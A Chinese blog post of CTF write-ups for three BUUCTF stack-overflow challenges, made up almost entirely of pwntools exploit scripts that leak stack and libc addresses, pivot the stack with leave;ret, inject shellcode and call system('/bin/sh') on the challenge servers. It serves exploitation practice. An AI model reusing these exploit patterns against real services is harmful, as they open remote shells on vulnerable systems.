BUU刷题 stack之调试

ciscn_2019_es_2
ez_pz_hackover_2016
spwn

@TOC

ciscn_2019_es_2

#!/usr/bin/env python2
# coding=utf-8
from pwn import *

arch = "i386"
filename = "ciscn_2019_es_2"

context(os="linux", arch=arch, log_level="debug")
content = 1

offset = 0
# elf
elf = ELF(filename)
leave_ret=0x08048562
system_addr=0x08048559
# libc


def b(addr):
    bk = "b *" + str(addr)
    gdb.attach(io, bk)
    success("attach")

def main():
    global io
    if content == 0:
        io = process("./" + filename)
    else:
        io = remote("node3.buuoj.cn",28340)
    gdb.attach(io,b'b read')
    payload=b'a'*(0x24)
    io.send(payload)
    io.recvuntil("Hello, ")
    io.recvuntil(b'a'*(0x24))
    addr=u32(io.recv(4))
    print("addr:",hex(addr))   #228
    io.recv()
    payload=b'aaaa'+p32(system_addr)+p32(addr-216)+b'/bin/sh\x00'
    payload=payload.ljust(0x28,b'a')
    payload+=p32(addr-228)+p32(leave_ret)
    io.sendline(payload)
    io.interactive()
main()

ez_pz_hackover_2016

通过这个题对调用栈时的结构更清晰了

#!/usr/bin/env python2
from pwn import *

arch = "i386"
filename = "ez_pz_hackover_2016"

context(os="linux", arch=arch, log_level="debug")
content = 1

offset = 26#0x32+4
# elf
elf = ELF(filename)
printf_plt=elf.plt['printf']
printf_got=elf.got['printf']
main_addr=elf.symbols['main']
fm_addr=0x08048845

# libc
libc=ELF("16-32libc-2.23.so")
printf_libc=libc.symbols['printf']
sys_libc=libc.symbols['system']
binsh_libc=next(libc.search(b'/bin/sh'))

def b(addr):
    bk = "b *" + str(addr)
    gdb.attach(io, bk)
    success("attach")

def main():
    global io
    if content == 0:
        io = process("./" + filename)
    else:
        io = remote("node3.buuoj.cn",29961)
    #leak
    #gdb.attach(io, 'b *0x8048600')
    io.recvuntil("lets crash: ")
    stack_addr=io.recvuntil("\n")[2:-1]
    stack_addr=int(stack_addr,16)
    print(hex(stack_addr))
    io.recvuntil("> ")
    payload =b'crashme\x00'
    #payload+=b'\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80'

    print(len(payload))
    payload =payload.ljust(offset,b'a')
    payload+=p32(stack_addr-0x1c)
    payload += asm(shellcraft.sh())
    io.sendline(payload)
    io.interactive()
main()

spwn

一开始用puts泄露不出东西，改成write才行

#!/usr/bin/env python2
# coding=utf-8
from pwn import *

arch = "i386"
filename = "spwn"

context(os="linux", arch=arch, log_level="debug")
content = 1

offset = 0
# elf
elf = ELF(filename)
s_addr=0x0804A300
leave_addr=0x08048408
puts_plt=elf.plt['puts']
write_plt=elf.plt['write']
write_got=elf.got['write']
puts_got=elf.got['puts']
main_addr=elf.symbols['main']
# libc
libc=ELF("16-32libc-2.23.so")
puts_libc=libc.symbols['puts']
write_libc=libc.symbols['write']
sys_libc=libc.symbols['system']
binsh_libc=next(libc.search(b'/bin/sh'))

def b(addr):
    bk = "b *" + str(addr)
    gdb.attach(io, bk)
    success("attach")

def main():
    global io
    if content == 0:
        io = process("./" + filename)
    else:
        io = remote("node3.buuoj.cn",28531)
    #leak
    io.recvuntil('What is your name?')
    payload=b'aaaa'+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
    #payload = b'aaaa' + p32(puts_plt) + p32(main_addr) + p32(puts_got)
    io.send(payload)
    io.recvuntil('What do you want to say?')
    payload=b'a'*(0x18)+p32(s_addr)+p32(leave_addr)
    io.send(payload)
    write_addr=u32(io.recv(4))
    print("write_addr:",hex(write_addr))
    #count
    libcbase=write_addr-write_libc
    #libcbase = write_addr - puts_libc
    sys_addr=libcbase+sys_libc
    binsh_addr=libcbase+binsh_libc
    #getshell
    io.recvuntil('What is your name?')
    payload = b'aaaa' + p32(sys_addr) + p32(main_addr) + p32(binsh_addr)
    io.send(payload)
    io.recvuntil('What do you want to say?')
    payload = b'a' * (0x18) + p32(s_addr) + p32(leave_addr)
    io.send(payload)
    io.interactive()
main()

-------------本文结束感谢您的阅读-------------

赏

谢谢你请我吃糖果